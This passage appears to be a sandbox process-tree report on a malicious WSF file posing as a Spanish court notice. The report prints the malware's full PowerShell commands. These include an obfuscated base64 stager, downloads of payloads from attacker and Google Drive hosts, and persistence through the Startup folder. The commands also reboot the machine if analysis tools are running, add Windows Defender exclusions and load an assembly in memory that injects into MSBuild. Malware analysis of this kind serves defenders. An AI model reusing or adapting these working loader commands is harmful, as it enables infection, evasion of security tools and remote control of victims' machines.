'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:2512
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                                    4⤵
                                    • Blocklisted process makes network request
                                    • Command and Scripting Interpreter: PowerShell
                                    PID:5144
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
                                      5⤵
                                      • Blocklisted process makes network request
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:2828
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                                        6⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:1236
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                                        6⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:3044
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jcnzu.ps1"
                                        6⤵
                                        • Blocklisted process makes network request
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious use of SetThreadContext
                                        PID:6300
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                          7⤵
                                            PID:7024
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                            7⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:7032
                                        • C:\Windows\SYSTEM32\cmd.exe
                                          cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                          6⤵
                                            PID:6308
                                  • C:\Windows\System32\WScript.exe
                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                    2⤵
                                    • Blocklisted process makes network request
                                    • Checks computer location settings
                                    PID:2812
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 